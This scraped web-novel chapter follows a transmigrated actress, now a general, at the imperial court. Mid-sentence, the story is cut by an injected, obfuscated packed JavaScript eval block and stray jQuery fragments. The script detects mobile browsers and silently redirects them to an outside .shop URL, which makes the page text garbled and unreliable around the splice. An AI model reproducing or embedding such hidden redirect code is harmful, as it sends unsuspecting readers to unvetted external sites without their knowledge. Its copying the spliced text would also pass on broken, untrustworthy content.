文趣网 > 其他小说 > 复仇失败后穿越成第一将军 > 18. 第 18 章
    天刚朦朦亮,周子离梦里还在吃着烤鱼,意识模糊之中就被商邪的暴力敲门声吵醒。“咚!咚咚!咚咚咚!”

    商邪在门外激动道:“铁煞将军!我们今早还要进宫呢!您起来没有啊?”

    周子离顶着充分在枕头上摩擦过的爆炸头,跳下床,冲到房门面前,问道:“什么意思?昨天不是该办的都办完了吗?”

    商邪还怪有道理:“可是昨天没见到皇上啊,您回来了,皇帝怎么都得诏您这个大功臣进宫觐见!”

    周子离打了个哈欠,打开门,接着问:“昨天为什么不见?”

    商邪一本正经:“昨日皇上告假,出宫游玩儿去了。”

    周子离:“???”她打完哈欠的嘴角都快垮到地心,无言以对。

    商邪不忘揶揄:“将军,我知您不仅打了胜仗,还散化冥气,如今成了二十一年来除东线城皇帝之外第二人,我们北黛也将迎来转运,可您,还是切莫太懈怠了!”

    周子离翻翻白眼:“你叽里咕噜的到底想说什么?”

    商邪毫不犹豫:“您起晚了,您从不曾起如此之晚,照寻常,日出之前,您就已经练了一个时辰的剑法了。”

    我滴个青天大老爷!日出之前就上班了?有没有天理?有没有王法?这是997?一连招的pua脸不红心不跳输出!吓唬谁呢?

    周子离呵呵一声:“在外面等我。”

    她“啪!”地合上门,对着衣帽间开始翻箱倒柜,按着自己对fashion(时尚)的sense(感觉),一半蒙一半猜地选好衣服穿上。一本正经坐在梳妆台前,用梳子梳了梳头。

    短发实在太难打理了,她下定决心一定要把头发养长!

    打开门,她拽着墨绿裙摆有些紧张,生怕商邪又挑出什么问题,继续对着她喋喋不休。

    商邪只淡淡看了她一眼,便道:“将军请上马吧。”

    看来是蒙混过去了。

    周子离走近马,商邪却把缰绳递给她,她疑问道:“干嘛?”给我干嘛?

    商邪也奇怪:“将军您自己驾马。”

    “啊?”周子离感觉马正对着她邪魅一笑,好像在说:“看我怎么把你甩下来!”

    越看越害怕,周子离尝试道:“要不还是你带着我吧!我,身体还没恢复好!”

    商邪拒绝了她的请求:“将军您要赶快恢复过来才行,您今日推明日的,记忆不见好转,我怕您癔症只会越来越严重。”

    ???周子离好无语,这个商邪是对抗路来的吗?还有点像辱追。

    她只得深吸一口气,踩住马鞍跨上马。心里是紧张到颤抖的,但是双眼一闭,居然已经动作流畅,安安稳稳地正襟危坐在马上了!

    有点小窃喜!周子离没感觉自己之前拍戏的时候上马动作这么体面过。

    商邪满意点点头:“这才是将军您本来的样子!”

    周子离疑惑问道:“我之前,是这样上马的?”

    商邪肯定道:“对!将军您一直都是这么上马的,我不会看错。”

    周子离嘚瑟道:“哦,简单,走吧。”

    两人快马一路行至皇宫前,周子离翻身下马,觉得身体好不轻快。

    进宫之后,一路畅通无阻,走路带风,见周子离者,无一人不礼貌对她颔首致意。

    行至廊桥出,空气甚好,鸟语花香,周子离不禁对商邪问道:“唉!我一直都这么有名吗?个个见了我点头哈腰的!”这差别太大了!她在片场,公司里从来都是被呼来喝去的,没什么人把她当人看!

    商邪一副比自己出名还要骄傲的表情:“将军您可是我北黛国最重要的官人,战场上,皇上都要听您的话,更不要说是其他人了!”

    “哟!这么牛!”周子离起劲儿,明显就是飘了。

    商邪嘴角压不住,很明显就是充分理解了什么叫做跟对老大发对财。

    大殿外,局官早已恭候多时,脸上气色极好地朝周子离招呼:“铁煞将军,想必是累坏了吧!您入宫从不迟到,难得来晚一次,皇上还让我们不要催你,让你多睡会儿。”

    周子离贱兮兮地:“那我能回去接着睡吗?”

    局官脸色一收:“差不多行了,赶紧进去。”他恨不得架着周子离的手抬上大殿。

    大殿里的装修还挺有讲究的,经典龙绕柱造型,天花板上的花纹毫不重样,里面满满当当站满了人,跟学校升旗仪式似的。

    陈瑜穿的才叫一个复杂,一看就知道是皇帝。眼睛面前那一串串一甩一甩的从帽子耷拉下来的流苏珠珠,周子离简直怀疑皇帝开会开着开着偷摸睡着了都没人发现,又或者这就是皇帝摸鱼的伎俩。

    陈瑜虽年46,但是精神状态极佳,脸上没什么皱纹,没什么日夜操劳的倦怠感。他远远看见周子离进大殿,便喜笑颜开道:“铁煞将军来啦!”

    百号人纷纷转头。

    周子离颇为大方,抬手,嬉笑道:“哟!皇帝!”

    陈瑜立刻接住:“这一趟回来,活泼不少,都会跟朕开玩笑了,不错不错,朕喜欢你这个样子,你之前太过一板一眼,有时连我都不敢轻易与你搭话。”

    周子离一步步迈在大理砖上朝里走,这皇帝的地方果然是要更讲究些,地擦的那叫一个干净,滑溜,差点没给她摔倒。

    她边走边和皇帝聊起来:“没事儿,我呢,就这么个性格,说实话确实是挺讨喜的,心眼也不坏,”

    “既然铁煞将军也到了,那我们就不再耽搁了,开始吧。”陈瑜说家常的嘴脸一收,立刻公事公办起来,变脸好像鲜榨橙汁变质,就那么一秒的事情,毫不犹豫就开始恶心人。

    百官进宫是有要事相商的,为首老官担忧道:“皇上,南茗平民百姓至今不肯屈服,南茗城内乱作一团,这可如何是好?”

    说起这个陈瑜就头疼,没有谁会把战争当玩儿一样说打就打,为的就是一个高兴,又不是草包,大费周章,肯定有所企图。

    打仗看中的,无非就是拿到自己想要的东西。

    南茗山形地貌众多,天然农作物及自然资源丰富,盐,煤炭,铜,锡,数不胜数,老天赏饭吃,谁看了都眼馋。

    现如今,南茗皇室已不复存在,更是抢占资源的好时机。

    “南北之殇”北黛国收兵以后,象

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728268|208905||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    国,东线都纷纷表示愿意出兵镇压不愿屈服的南茗百姓。

    局势改变心态,无非都是想借机分一杯羹罢了。

    陈瑜立刻决定,三国共同派兵进南茗平乱。不可误伤平民百姓,只管维持秩序即可。

    邢司局早已把陈瑜骂了个祖宗一百八十代,若再无故伤人,只怕邢司局史官会乱写一气,称陈瑜为暴怒昏君。

    话又说回来,五国既能成邢司局,也可败邢司局,陈瑜只觉自己是邢司局衣食父母,怕它作甚?

    陈瑜挠挠脑袋,甩甩眼前的珠珠,强装镇定道:“无碍,待百姓饥肠辘辘,过了今日无明日之时,自会缴械投降。”

    有官人觉得还是要激进些,一鼓作气,拿下南茗,以绝后患。

    陈瑜拍拍桌子:“复择允都死了你们怕什么?整个宫里连蚊子都杀干净了,我并无意侵占南茗,我朝与南茗并不接壤,借东线城抄近路骑汗血宝马最少也要三日才可到达南茗,难以管辖,侵占意义何在?”

    大官这才闭嘴。

    陈瑜收了郑重语气,道:“行了,南茗之事静观其变,我今日是邀诸位爱卿来欣赏宝物的,看看我们都从南茗宫中拿了什么好东西!”

    局官一声令下,礼官队列整齐抬着一件件宝物进入大殿。

    百官惊叹,来了好多他们从未见过的东西!

    陈瑜对百官的反应很是受用,佯装道:“局官,一一向诸位介绍吧。”

    局官应道:“是。”他轻盈走到一座玉雕前,拿腔拿调道:“此物,乃葡萄玉,于南茗复择允寝宫内搜寻而来,此物极其珍贵,千年仅出土一件,观赏性极佳,价值连城。”

    局官又悠悠走到一闷青发黑砂壶妆宝物旁,道:“此物为血皿,用于验查身份,若任何人对其身份有疑虑者,可取一滴血滴入血皿之中,再滴入另一人的血,若二人确是血肉之亲,则血皿即刻呈现紫状光晕。”

    周子离困了,用手肘怼怼商邪,问道:“什么时候结束啊?管不管中午饭啊?”

    商邪小声“嘘!”了一下,没有回答。

    陈宁不知何时来到周子离身侧,皎洁的目光紧盯周子离,低声问道:“散化冥气之人,居然还是凡人之躯?竟也还有口舌之欲?”

    周子离抬起头,感觉此人来者不善,那么她也不善,没什么好口气问道:“你谁啊?”

    气的陈宁哑口无言,他以为周子离在给他下马威,而且还被气笑了,吹胡子瞪眼地用眼神给周子离下刀子。

    周子离眨巴眨巴不屈不挠的圆眼睛,来劲道:“你这种爱蹭的人我真的见得多了,见谁来势对谁好脸色,这不是废话吗?我不是人吗?是人还不给吃饭了?”

    陈宁不可思议:“周子离,你现在怎么会变成这副鬼样子?”

    两个人一言一语在课堂上讲小话争执,局官还在孜孜不倦地在讲台上给百官大人上文物普及课。

    “报!”门外局官彷徨闯入大殿之内,汗如雨下。

    陈瑜手托香腮,淡然自若道:“何事?”

    局官禀告道:“邢司局,来人了!”

    闻言,陈瑜眼底终于展示出一丝兴奋。